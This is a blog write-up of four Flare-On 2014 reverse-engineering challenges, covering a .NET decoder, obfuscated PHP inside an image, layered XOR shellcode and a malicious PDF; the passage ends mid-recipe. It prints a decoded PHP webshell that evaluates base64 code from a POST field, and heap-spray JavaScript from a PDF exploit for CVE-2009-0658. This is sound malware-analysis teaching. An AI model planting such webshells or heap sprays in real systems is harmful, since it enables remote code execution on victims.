Categories
Tags
2025 Active-Directory Adobe ColdFusion Apache ASP DotNet Aug 2024 AWS B2R Binary Binary Hijacking Broken Access Control Burpsuite Caido Clickjacking Cloud Crackmes Cryptography CVE-2009-3548 CVE-2014-1812 CVE-2024-28397 CVE-2024-32019 CVE-2025-24893 Debugging Easy Email-Forensics Engineering Eternal Blue Exploitation Feb File-upload-vulnerabilities Flare-On Forensics Free FTP HACK HAVOC HTB HttpFileServer IDA IIS impacket Industrial-Control-System Information Disclosure js2py KPMG Linux Malware-Analysis Metasploit Microsoft-Access-database Misc Mobile MS10-092 MS14-025 MS16-032 MS17-010 npbackup nsudo Oct 2024 Operational-Technology OSINT Path-Injection Path-Traversal-To-RCE PMA_Labs Programming PwnedLabs RCE Retired Reverse Reverse Engineering Reversing Runas-Abuse S3 S3-to-AccountID Scripting Sherlock SMB Snyk SSRF Steg Telnet Tomcat VIP Web Windows x64dbg xwiki
12684 words
63 minutes
Flare-On 2014 Jan 2026
- Category: Malware Analysis and Reverse Engineering
- Difficulty: Easy/Medium/Hard
- File:- 2014_FLAREOn_Challenges.zip
Challenge 1 - Bob Doge
Stage 1 Extracting CAB File
Initial Triage
- File Type: PE32+ executable for MS Windows 5.02 (GUI), x86-64, 6 sections
- Size: 279 KB
- SHA256: f8aac4d0cccabd11d7b10d63dc2acc451ea832077650971d3c66834861162981
Basic Static Analysis:
- Detect it Easy (Die) show that this file is self-extracted CAB/SFX style packing, where the executable includes a compressed Microsoft Cabinet file (CAB) and extracts/executes it at runtime and it is just a wrapper/loader.
- The
.rsrcsection is compressed, which is why the tool flags high entropy, classic sign of packing or encryption. - Compression algorithm used inside the CAB is LZX (as shown), which is common in Microsoft CAB archives.
- So we have to first extract the actual exe from this and analyze it,


- We can extract it using cabextract tool, and it will written in
Challenge1.exefile,
βββ(b14ckyγΏDESKTOP-VRSQRAJ)-[/]
ββ$ cabextract C1.exe.defused
Extracting cabinet: C1.exe.defused
extracting Challenge1.exe
All done, no errors.
Stage 2 Analysis of .NET Sample
Initial Triage
- File Type: PE32 executable for MS Windows 4.00 (GUI), Intel i386 Mono/.Net assembly, 3 sections
- Size: 118 KB
- SHA256: c1b55c829a8420fa41e7a31344b6427045cea288458fe1c0f32cae47b2e812f2
Basic Static Analysis:
- Detect it Easy (Die) show that this file is
.NETbinary written inC#using visual studio. - Also
.textis packed as per die because it show high entropy in it.


- We know that this code compiles to Microsoft Intermediate Language (MSIL or IL).
- IL is a human-readable, high-level assembly-like language, not raw CPU instructions.
- So we can read it using tools such as
dnSpy,Dotpeeketc. - here is the example of IL,
.method public hidebysig static void Main() cil managed
{
.entrypoint
ldstr "Hello, world!"
call void [mscorlib]System.Console::WriteLine(string)
ret
}
Code Analysis

- I used
dnSpyfor this analysis, - In
Resourcesi found something phishy which isrev_challenge_1.dat_secret.encodeso i saved it and it looks like encrypted data, - Also some cool memes π,


- Now Letβs dive into actual code, so typically we start with
mainfunction inProgramsection, - This code just starts a Windows Forms GUI app and opens Form1 so
Form1is the one we had to go,

- Immediately we see one function
btnDecode_Clickwhich do some kind of math or crypto stuff, and it is loading thatrev_challenge_1.dat_secret.encodefile as input.

- At first glance, honestly, I canβt understand this code, so I take help from our friend GPT to explain it to me, and here is what I understand,
0xa1 0xb5 0x44 (original)
0x1a 0x5b 0x44 (swap hex digits)
(0x1a ^ 0x29) (0x5b ^ 0x29) (0x44 ^ 0x29) β 0x33 0x72 0x6d
Flag Extraction
- So i load this input file into
CyberChefand apply all the necessary filters and features to get decrypted result and here it is,

- Here is out flag,
3rmahg3rd.b0b.d0ge@flare-on.com
- Here is recipe of this,
[
{ "op": "To Hex",
"args": ["Space", 0] },
{ "op": "Remove whitespace",
"args": [true, true, true, true, true, false] },
{ "op": "Find / Replace",
"args": [{ "option": "Regex", "string": "([0-9a-fA-F])([0-9a-fA-F])" }, "$2$1", true, false, true, false] },
{ "op": "Remove whitespace",
"args": [true, true, true, true, true, false] },
{ "op": "From Hex",
"args": ["Auto"] },
{ "op": "XOR",
"args": [{ "option": "Decimal", "string": "41" }, "Standard", false] }
]
- Here is the similar py script for doing this same task,
#!/usr/bin/env python3
"""
Replicates CyberChef operations:
1. From Hexdump
2. To Hex (space delimited)
3. Remove whitespace
4. Find/Replace (swap hex digit pairs)
5. Remove whitespace
6. From Hex
7. XOR with 41 (decimal)
"""
import re
import sys
def from_hexdump(data):
"""Extract hex bytes from hexdump format"""
lines = data.strip().split('\n')
hex_bytes = []
for line in lines:
# Remove offset and ASCII representation, keep only hex bytes
parts = line.split()
for part in parts:
# Skip offset (contains colon) and non-hex parts
if ':' in part or not all(c in '0123456789abcdefABCDEF' for c in part):
continue
# Add hex bytes (typically 2 chars each)
for i in range(0, len(part), 2):
if i + 1 < len(part):
hex_bytes.append(part[i:i+2])
return bytes.fromhex(''.join(hex_bytes))
def to_hex_space(data):
"""Convert bytes to space-separated hex"""
return ' '.join(f'{b:02x}' for b in data)
def remove_whitespace(text):
"""Remove all whitespace"""
return re.sub(r'\s+', '', text)
def swap_hex_pairs(text):
"""Swap each pair of hex digits: AB -> BA"""
return re.sub(r'([0-9a-fA-F])([0-9a-fA-F])', r'\2\1', text)
def from_hex(hex_string):
"""Convert hex string to bytes"""
return bytes.fromhex(hex_string)
def xor_decrypt(data, key):
"""XOR each byte with the key"""
return bytes(b ^ key for b in data)
def main():
input_file = 'rev_challenge_1.dat_secret.encode'
try:
# Read input file in binary mode
with open(input_file, 'rb') as f:
data = f.read()
print(f"[+] Reading from {input_file}")
# Step 1: From Hexdump - skip this step, data is already binary
print("[+] Step 1: Using binary data directly")
step1 = data
# Step 2: To Hex (space delimited)
print("[+] Step 2: To Hex (space delimited)")
step2 = to_hex_space(step1)
# Step 3: Remove whitespace
print("[+] Step 3: Remove whitespace")
step3 = remove_whitespace(step2)
# Step 4: Find/Replace - swap hex digit pairs
print("[+] Step 4: Swap hex digit pairs")
step4 = swap_hex_pairs(step3)
# Step 5: Remove whitespace (again)
print("[+] Step 5: Remove whitespace")
step5 = remove_whitespace(step4)
# Step 6: From Hex
print("[+] Step 6: From Hex")
step6 = from_hex(step5)
# Step 7: XOR with 41 (decimal)
print("[+] Step 7: XOR with 41")
result = xor_decrypt(step6, 41)
# Output result
print("\n" + "="*60)
print("DECODED OUTPUT:")
print("="*60)
try:
print(result.decode('utf-8', errors='replace'))
except:
print(result)
print("="*60)
# Save to file
output_file = 'decoded_output.txt'
with open(output_file, 'wb') as f:
f.write(result)
print(f"\n[+] Output saved to {output_file}")
except FileNotFoundError:
print(f"[!] Error: File '{input_file}' not found")
print(f"[!] Please ensure the file exists in the current directory")
sys.exit(1)
except Exception as e:
print(f"[!] Error: {e}")
import traceback
traceback.print_exc()
sys.exit(1)
if __name__ == '__main__':
main()
Challenge 2: Javascrap
Stage 0 Character Table Construction
Initial Triage
- Challenge Type: Reverse-Engineering / Web / Obfuscated Code
- Files Provided:
home.html- File Type: home.html: HTML document, Unicode text, UTF-8 text, with very long lines (1428), with CRLF line terminators
- Size: 8.17 KB
- SHA256: d1b235e49336c2e510100bd3ffa3113d9c757ffb4829e9564597dbab8338b710
img/flare-on.png(PNG image)- File Type: img/flare-on.png: PNG image data, 400 x 79, 8-bit/color RGBA, non-interlaced
- Size: 9.33 KB
- SHA256: 87528d13f40b51b6de90124fb92bcbc38a54e5241cd7ef969208c0707ed893dd
Basic Static Analysis:
- The PNG is being included as PHP code via an
includein the HTML page: i.e., the challenge hides a PHP script inside what looks like an image.

- Performing strings on
flare-on.pngreveals appended PHP source code instead of pure image data.

- The appended PHP contains two large arrays:
$termsand$order, and a reconstruction loop that builds a second PHP script dynamically.
Stage 1: Obfuscation Decoding
1: Character Table Reconstruction
The embedded PHP begins:

$terms = array("M","Z","]","p",...,"|");
$order = array(59,71,73,13,...,47);
$do_me="";
for($i=0;$i<count($order);$i++){
$do_me=$do_me.$terms[$order[$i]];
}
print($do_me);
$termsis a custom character lookup table - each entry is a single character.$orderis a list of integers, each an index into$terms.- The loop concatenates
$terms[$order[i]]to form a complete PHP script string in$do_me. - Instead of running
eval()immediately, you can replace it withprintto dump the generated code for analysis.
Stage 2: Second-Layer Decoding
After reconstructing the inner PHP, the output looks like:

$_ = 'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlc ...';
$__ = 'JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7';
$___ = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";
eval($___($__));
$_and$__are Base64-encoded strings.$___is obfuscated with hex escape sequences representing the stringbase64_decode.eval($___($__))resolves to:
$code = base64_decode($_);
eval($code);
This decodes the next stage of the script and executes it.
Stage 3: Escaped Payload Interpretation

The inner decoded PHP is:
if (isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F..."])){
eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104..."]));
}
- The
$_POSTkey names are obfuscated using a mix of octal (\NNN) and hex (\xNN) escapes. - To understand the actual identifier, all escape sequences must be converted into ASCII.
Stage 4: Normalization and Flag Extraction

The decoded sequence:
a11DOTthatDOTjava5crapATflareDASHonDOTcom
comes from interpreting those escape sequences as numbers and converting them to characters.
Replace placeholder tokens:
DOTβ.ATβ@DASHβ-Final flag:
a11.that.java5crap@flare-on.com
Final Behavior
The decoded PHP callback becomes:
if (isset($_POST["a11.that.java5crap@flare-on.com"])) {
eval(base64_decode($_POST["a11.that.java5crap@flare-on.com"]));
}
- This is a simple PHP webshell that executes Base64-encoded PHP from an HTTP POST field if sent under the correct key.
Challenge 3:
Stage 1 Extracting Shellcode from Wrapper EXE
Initial Triage
- File Type: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
- Size: 7 KB
- SHA256: 4ab2023b2f34c8c49ffd15a051b46b6be13cb84775142ec85403a08c0d846c72
Basic Static Analysis
- Detect it Easy (Die) show that this file is C Compiled File, and
Tiny Ccompiler was used to compile it, also it can be stripped as per file command results. - In Entropy section we can see that there is only 2 section which is
.textand.data,


- PEStudio Shows that most of data is on
.textsection and raw-size is6144 bytes,

Advance Static Analysis
- I have used IDA Free to do disassemble the exe file,
- In that i opened
startfunction which has some interesting functions and particularly thissub_401000,
- In that i opened

- In this
sub_401000function, there are multiple bytes which are being pushed into stack and at the end it being called using this instruction,

.text:00401000 ; int __cdecl sub_401000(_DWORD, _DWORD, _DWORD)
.text:00401000 sub_401000 proc near ; CODE XREF: start+6Aβp
.text:00401000
.text:00401000 var_201 = byte ptr -201h
.text:00401000 var_200 = byte ptr -200h
...
.text:00401000 push ebp
.text:00401001 mov ebp, esp
.text:00401003 sub esp, 204h
.text:00401009 nop
.text:0040100A mov eax, 0E8h
.text:0040100F mov [ebp+var_201], al
.text:00401015 mov eax, 0
.text:0040101A mov [ebp+var_200], al
...
.text:00402492 mov [ebp+var_1], al
.text:00402495 lea eax, [ebp+var_201]
.text:0040249B call eax
- It means it means it can
shellcodebecause0E8his being pushed, it meanscall target, - but why this importent,
- Shellcode has a huge problem: It does NOT know its own address
- it can be placed anywhere in memory
- no imports
- no fixed base
- no PE headers
- Shellcode has a huge problem: It does NOT know its own address
Advanced Dynamic Analysis
- So to extract the shellcode we will use
x32dbgbecause we have 32 bit binary and put a breakpoint in this particular0040249Boffset which iscall eaxso we will dumpEAXinto memory and carve it and move further. - But first we land in
entry pointof program,
004024C0 | 55 | push ebp
004024C1 | 89E5 | mov ebp,esp
004024C3 | 81EC 2C000000 | sub esp,2C

- So we can go to that location using
CTRL + Gshortcut,

- We will put breakpoint using using
F2in that instruction,
00402495 | 8D85 FFFDFFFF | lea eax,dword ptr ss:[ebp-201]
0040249B | FFD0 | call eax
0040249D | B8 00000000 | mov eax,0

- So now we will run till this breakpoint and dump the
EAXcontent inside the dump windows, - And again we can see that there is
E8 00 00..format which means it will be shellcode so we can dump this using this command,
savedata "C:\Users\Asus\Desktop\shellcode.bin", EAX, 0x4000


- So it will be written in
shellcode.bin,
Stage 2 Analyzing Shellcode
Initial Triage
- File Type: data
- Size: 16 KB
- SHA256: 7d60f98eaa49863a604f75425ced94f86faf2eb9d83e0c1ce7490c852930f44e
Advance Static Analysis
- To get the hex code we can use
HxDtool and copy from there and I usedcutterfor this analysis because it gives graph view, so paste it into thatcutter,

- I remove some bytes which are not that important, after
0xC995,
E8 00 00 00 00 8B 34 24 83 C6 1C B9 DF 01 00 00 83 F9 00 74 07 80 36 66 46 49 EB F4 E9 10 00 00 00 07 08 02 46 15 09 46 0F 12 46 04 03 01 0F 08 15 0E 13 15 66 66 0E 15 07 13 14 0E 08 09 16 07 EF 85 8E 66 66 66 66 ED 52 42 E5 A0 4B EF 97 E7 A7 EA 67 66 66 EF BE E5 A6 6C 5F BE 13 63 EF 85 E5 A5 62 5F A8 12 6E EC 75 56 70 25 20 8D 8D 8F 57 66 66 66 6F 6C 62 27 67 62 72 70 6A 35 7C 66 36 60 70 73 33 7A 7C 65 2F 6C 72 27 66 68 33 70 72 78 66 29 7E 66 67 63 33 7D 7D 35 7C 61 73 27 65 66 7A 7A 67 FD 08 09 16 07 9E 33 37 97 D5 0B B1 31 17 07 15 84 EA 14 6D 1B 89 3F 74 48 79 40 90 D2 17 96 E1 0D FD EA FA C8 7F 53 71 5A E9 CE 74 48 79 40 E1 CB EF C2 02 34 45 61 48 20 5F 3C 07 3F 0C 23 1B 3B 0D 28 05 7B 1E 3E 02 2F 09 60 1E 20 10 3E 16 7A ED AD 9C 48 79 40 71 D0 4B 76 E9 80 57 C9 86 C9 BE 85 71 5A 64 C7 AC CB B9 58 48 83 0A 57 E3 A5 F9 83 73 71 B1 27 79 D0 77 7E 62 0B 3F AB 9A B2 62 52 6A 46 66 58 73 00 38 15 39 00 21 5F 25 15 24 1E 32 1E 1F 5B 70 42 7A 1A 7B 18 7E 10 75 15 60 55 3A 55 0D 60 78 17 61 4D 7C 5A 7A 46 26 40 65 0D 31 0B 6F 4B 72 09 71 52 D8 D1 E3 72 0B 2A 17 A4 30 18 DC FA 2F B6 E7 F0 94 06 16 2D 16 F2 CE A2 8A 3D 37 B8 63 21 9B DF 81 ED 40 18 CC 59 03 F5 43 54 06 7C 4B 8D F8 63 E4 F2 5A 76 FA 4A E6 53 62 90 66 13 FF 0C 60 88 4D 38 FF 5E F1 77 7B 7D 40 E1 F0 8E 7B 7C 5B D4 30 39 2A 9E F6 38 49 1F F0 28 99 95 4B F2 61 DB 62 D0 56 48 05 22 12 29 8A D2 45 49 20 75 0D 3F 48 AC F3 29 52 07 A3 34 BB 7F 05 98 10 58 72 C8 E6 67 9D E0 75 88 1B 66 55 73 76 24 1C 7F 19 0D 46 2F 25 35 14 8D 80 B2 2E 4B 01 80 32 1C 95 C9 00

- It is loop that doing some stuff,
- The CALL instruction is not for calling a function
- It is used to steal the current address so the code can decrypt and execute itself.
- So it means
call 5will pushes0x00000005onto stack jumps to0x00000005now stack has[rsp] = address_of_shellcodethenmov esi, [rsp]will push it intoesiwhich means0x05 + 0x1C = 0x21,
- seg000:00000021 to seg000:00000030 is encrypted block,

0x00000000 call 5 ; fcn.00000000(void)
0x00000005 mov esi, dword [rsp]
0x00000008 add esi, 0x1c
0x0000000b mov ecx, 0x1df
0x00000010 cmp ecx, 0
- Decryption block with key
0x66
0x00000015 xor byte [rsi], 0x66
0x00000018 jmp 0x10
- So here is the whole summarized flow,
call β pop β add offset β xor loop (key 0x66) β jump

- Possible Pseudocode,
base = get_rip();
payload = base + 0x1c;
for (i = 0; i < 0x1df; i++) {
payload[i] ^= 0x66;
}
jump_to(payload);
- There is one block which is encrypted so i used,
cyberchefto decrypt it with key0x66


- Decrypted String 1,
and so it begins
- But you can see how tedious is this task in static analysis so to do this easiness we can use dynamic method.
Advanced Dynamic Analysis
- Again, i can use
x32dgbfor this task,
Layer 1 XORed Encryption
- This loop is doing decryption of encrypted text
0019FD43 | 83F9 00 | cmp ecx,0
0019FD46 | 74 07 | je 19FD4F
0019FD48 | 8036 66 | xor byte ptr ds:[esi],66
0019FD4B | 46 | inc esi
0019FD4C | 49 | dec ecx
0019FD4D | EB F4 | jmp 19FD43

0019FD53 00 61 6E 64 20 73 6F 20 69 74 20 62 65 67 69 6E .and so it begin
0019FD63 73 68 75 73 00 00 68 73 61 75 72 68 6E 6F 70 61 shus..hsaurhnopa
- Decrypted String 1,
so it begins
Layer 2 XORed Encryption
- for next layer just step through the instructions by doing
step over, - This instructions are loading layer 2 decryption key in stack which is
0019FD69 | 68 73617572 | push 72756173
0019FD6E | 68 6E6F7061 | push 61706F6E
0019FD73 | 89E3 | mov ebx,esp
- Here is actual key in hex
6E 6F 70 61 72 73 61 75 72 75 73which isnopasaurus,


- Now the actual loop begins and decryption starts using this key
nopasaurus,
0019FD8D | 39D8 | cmp eax,ebx
0019FD8F | 75 05 | jne 19FD96
0019FD91 | 89E3 | mov ebx,esp
0019FD93 | 83C3 04 | add ebx,4
0019FD96 | 39CE | cmp esi,ecx
0019FD98 | 74 08 | je 19FDA2
0019FD9A | 8A13 | mov dl,byte ptr ds:[ebx]
0019FD9C | 3016 | xor byte ptr ds:[esi],dl
0019FD9E | 43 | inc ebx
0019FD9F | 46 | inc esi
0019FDA0 | EB EB | jmp 19FD8D

0019FDA6 00 67 65 74 20 72 65 61 64 79 20 74 6F 20 67 65 .get ready to ge
0019FDB6 74 20 6E 6F 70 27 65 64 20 73 6F 20 64 61 6D 6E t nop'ed so damn
0019FDC6 20 68 61 72 64 20 69 6E 20 74 68 65 20 70 61 69 hard in the pai
0019FDD6 6E 74 E8 00 00 00 00 8B 34 24 83 C6 1E B9 38 01 ntΓ¨.....4$.Γ.ΒΉ8.
- Decrypted String 2,
get ready to get nop'ed so damn hard in the paint
Layer 3 XORed Encryption
- This is where 3rd loop starts and decryption starts with hardcoded hex
0x624F6C47,

0019FDE3 | B9 38010000 | mov ecx,138
0019FDE8 | 83F9 00 | cmp ecx,0
0019FDEB | 7E 0E | jle 19FDFB
0019FDED | 8136 624F6C47 | xor dword ptr ds:[esi],476C4F62
0019FDF3 | 83C6 04 | add esi,4
0019FDF6 | 83E9 04 | sub ecx,4
0019FDF9 | EB ED | jmp 19FDE8
- This wrote some gibberish in memory,
0019FDF6 83 E9 04 EB ED 8D 80 00 00 00 00 8D 80 00 00 00 .Γ©.Γ«Γ...........
0019FE06 00 90 90 90 90 68 72 3F 21 3F 68 20 6F 76 65 68 .....hr?!?h oveh
0019FE16 6D 6F 73 74 68 74 20 61 6C 68 69 73 20 69 68 6F mostht alhis iho
0019FE26 6D 67 20 89 E3 E8 00 00 00 00 8B 34 24 83 C6 2D mg .ãè.....4$.Γ-
- After spending some time i realize that it is actually strings which is being loaded next,

0019FE0B | 68 723F213F | push 3F213F72
0019FE10 | 68 206F7665 | push 65766F20
0019FE15 | 68 6D6F7374 | push 74736F6D
0019FE1A | 68 7420616C | push 6C612074
0019FE1F | 68 69732069 | push 69207369
0019FE24 | 68 6F6D6720 | push 20676D6F
0019FE29 | 89E3 | mov ebx,esp

- I take all hex convert it in
Big endian formatand arrange it inFILO (First in Last out) orderbecause it is loaded in stack so here is the strings, - Interestingly this same text used as key for next layer.
omg i sit almost over?!?

Layer 4 XORed Encryption
- Here is loop which start with previous string as key for decryption routine,
0019FE43 | 39D8 | cmp eax,ebx
0019FE45 | 75 05 | jne 19FE4C
0019FE47 | 89E3 | mov ebx,esp
0019FE49 | 83C3 04 | add ebx,4
0019FE4C | 39CE | cmp esi,ecx
0019FE4E | 74 08 | je 19FE58
0019FE50 | 8A13 | mov dl,byte ptr ds:[ebx]
0019FE52 | 3016 | xor byte ptr ds:[esi],dl
0019FE54 | 43 | inc ebx
0019FE55 | 46 | inc esi
0019FE56 | EB EB | jmp 19FE43

0019FE56 EB EB E9 1D 00 00 00 73 75 63 68 2E 35 68 33 31 ëëé....such.5h31
0019FE66 31 30 31 30 31 30 31 40 66 6C 61 72 65 2D 6F 6E 1010101@flare-on
0019FE76 2E 63 6F 6D 68 6E 74 00 00 68 20 73 70 65 68 20 .comhnt..h speh

- Here is Final Flagβ¦ π
such.5h311010101@flare-on.com
Challenge 4:
Stage 1 Malicious PDF Analysis
Initial Triage
- File Type: APT9001.pdf: PDF document, version 1.5
- Size: 21 KB
- SHA256: 15f3d918c4781749e3c9f470740485fa01d58fd0b003e2f0be171d80ce3b1c2c
Basic Static Analysis
- Detect it Easy show nothing,
- I do quick search its hash on VT this is the result,

- 27 out of 65 is pretty high so maybe there is some data which is embedded in PDF.

- So to check that i used
pdfinfotool to see metadata of pdf and here is what is got,- It has some js stuff so we can extract it using tool called, peepdf.

Advance Static Analysis
βββ(b14ckyγΏDESKTOP-VRSQRAJ)-[~]
ββ$ python2 /opt/peepdf/peepdf.py -fil APT9001.pdf
Warning: PyV8 is not installed!!
Warning: pylibemu is not installed!!
Warning: Python Imaging Library (PIL) is not installed!!
File: APT9001.pdf
MD5: f2bf6b87b5ab15a1889bddbe0be0903f
SHA1: 58c93841ee644a5d2f5062bb755c6b9477ec6c0b
SHA256: 15f3d918c4781749e3c9f470740485fa01d58fd0b003e2f0be171d80ce3b1c2c
Size: 21284 bytes
Version: 1.5
Binary: True
Linearized: False
Encrypted: False
Updates: 0
Objects: 8
Streams: 2
URIs: 0
Comments: 0
Errors: 1
Version 0:
Catalog: 1
Info: No
Objects (8): [1, 2, 3, 4, 5, 6, 7, 8]
Errors (1): [8]
Streams (2): [6, 8]
Encoded (2): [6, 8]
Decoding errors (1): [8]
Objects with JS code (1): [6]
Suspicious elements:
/OpenAction (1): [1]
/JS (1): [5]
/JavaScript (1): [5]
Adobe JBIG2Decode Heap Corruption (CVE-2009-0658): [8]
- I tried to extract the JS code usingΒ
extract js > extracted.jsΒ which appeared to be successful. - Also this is mind, βAdobe JBIG2Decode Heap Corruption (CVE-2009-0658)β
PPDF> extract js
// peepdf comment: Javascript code located in object 6 (version 0)
var HdPN = "";
var zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf = "";
var IxTUQnOvHg = unescape("%u72f9%u4649%u1.....u5740%ud0ff");
var MPBPtdcBjTlpvyTYkSwgkrWhXL = "";
for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA = 128; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA >= 0; --EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA) MPBPtdcBjTlpvyTYkSwgkrWhXL += unescape("%ub32f%u3791");
ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv = MPBPtdcBjTlpvyTYkSwgkrWhXL + IxTUQnOvHg;
OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY = unescape("%ub32f%u3791");
fJWhwERSDZtaZXlhcREfhZjCCVqFAPS = 20;
fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA = fJWhwERSDZtaZXlhcREfhZjCCVqFAPS + ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv.length
while (OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.length < fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA) OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY += OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY;
UohsTktonqUXUXspNrfyqyqDQlcDfbmbywFjyLJiesb = OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.substring(0, fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA);
MOysyGgYplwyZzNdETHwkru = OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.substring(0, OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.length - fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA);
while (MOysyGgYplwyZzNdETHwkru.length + fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA < 0x40000) MOysyGgYplwyZzNdETHwkru = MOysyGgYplwyZzNdETHwkru + MOysyGgYplwyZzNdETHwkru + UohsTktonqUXUXspNrfyqyqDQlcDfbmbywFjyLJiesb;
DPwxazRhwbQGu = new Array();
for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA = 0; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA < 100; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA++) DPwxazRhwbQGu[EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA] = MOysyGgYplwyZzNdETHwkru + ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv;
for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA = 142; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA >= 0; --EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA) zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf += unescape("%ub550%u0166");
bGtvKT = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length + 20
while (zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length < bGtvKT) zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf += zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf;
Juphd = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.substring(0, bGtvKT);
QCZabMzxQiD = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.substring(0, zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length - bGtvKT);
while (QCZabMzxQiD.length + bGtvKT < 0x40000) QCZabMzxQiD = QCZabMzxQiD + QCZabMzxQiD + Juphd;
FovEDIUWBLVcXkOWFAFtYRnPySjMblpAiQIpweE = new Array();
for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA = 0; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA < 125; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA++) FovEDIUWBLVcXkOWFAFtYRnPySjMblpAiQIpweE[EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA] = QCZabMzxQiD + zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf;
- But this looks obfuscated and very messy so I cleaned it,
// peepdf comment: Javascript code located in object 6 (version 0)
var string_variable_2 = "";
var string_variable_4 = unescape("%u72f9%u4649%u152....5740%ud0ff");
var string_variable_1 = "";
for (counter_variable = 128; counter_variable >= 0; --counter_variable) string_variable_1 += unescape("%ub32f%u3791");
string_variable_3 = string_variable_1 + string_variable_4;
string_variable_5 = unescape("%ub32f%u3791");
while (string_variable_5.length < 790) string_variable_5 += string_variable_5;
substring1_of_str5 = string_variable_5.substring(0, 790);
substring2_of_str5 = string_variable_5.substring(0, string_variable_5.length - 790);
while (substring2_of_str5.length + 790 < 262144) substring2_of_str5 = substring2_of_str5 + substring2_of_str5 + substring1_of_str5;
another_array_variable = new Array();
for (counter_variable = 0; counter_variable < 100; counter_variable++)
another_array_variable[counter_variable] = substring2_of_str5 + string_variable_3;
for (counter_variable = 142; counter_variable >= 0; --counter_variable)
string_variable_2 += unescape("%ub550%u0166");
len_str2_plus20 = string_variable_2.length + 20
while (string_variable_2.length < len_str2_plus20) string_variable_2 += string_variable_2;
substring1_of_str2 = string_variable_2.substring(0, len_str2_plus20);
substring2_of_str2 = string_variable_2.substring(0, string_variable_2.length - len_str2_plus20);
while (substring2_of_str2.length + len_str2_plus20 < 262144) substring2_of_str2 = substring2_of_str2 + substring2_of_str2 + substring1_of_str2;
array_variable = new Array();
for (counter_variable = 0; counter_variable < 125; counter_variable++) array_variable[counter_variable] = substring2_of_str2 + string_variable_2;
- But you might be confused that how this code will executed because it is in PDF right?
- So here comes the interesting thing,
- CVE-2009-0658 is a heap corruption vulnerability in Adobe Readerβs JBIG2Decode filter.
- A malformed JBIG2 image causes memory overwrite in native code.
- JavaScript heap spray is used beforehand to populate predictable heap memory with shellcode.
- When the corrupted pointer is dereferenced, execution jumps into the sprayed heap region, leading to arbitrary code execution.
- One of the first PDF + JS + native bug chains
- So in short, if any user open this code in vulnerable Adobe Reader then this code will execute.
Code Explanation
- It hides malicious code
- The long
%uXXXX%uXXXXdata is hidden machine code / shellcode. unescape()converts it into real binary data.
- The long
- It creates a lot of useless repeated data
- Repeated patterns are added again and again.
- This fills large parts of computer memory.
- It mixes junk + malicious code
- So memory looks like:
junk junk junk β malicious code
- So memory looks like:
- It puts this data many times into memory
- Hundreds of copies are created.
- This is called heap spraying.
- Why it does this
- Later, when Adobe Reader crashes due to a bug,
the program may jump to a random memory address. - Because memory is full of attacker data,
it lands on the malicious code.
- Later, when Adobe Reader crashes due to a bug,
Carving Next Stage
- After some code reading and research i found that
string_variable_4is the var which has next stage shellcode but it is encoded in some format in js so i did research and this is what i found, - TheΒ
unescape()Β function replaces any escape sequence with the character that it represents. Specifically, it replaces any escape sequence of the formΒ%XXΒ orΒ%uXXXXΒ (whereΒXΒ represents one hexadecimal digit) with the character that has the hexadecimal valueΒXX/XXXX. If the escape sequence is not a valid escape sequence (for example, ifΒ%Β is followed by one or no hex digit), it is left as-is.

- So to decode this i used cyberchef, and we have to convert the endianness because it is being written in heap so we will swap it by
word length of 8. - We will save this as
shellcode.bin

- CyberChef Recipe,
[
{ "op": "Find / Replace",
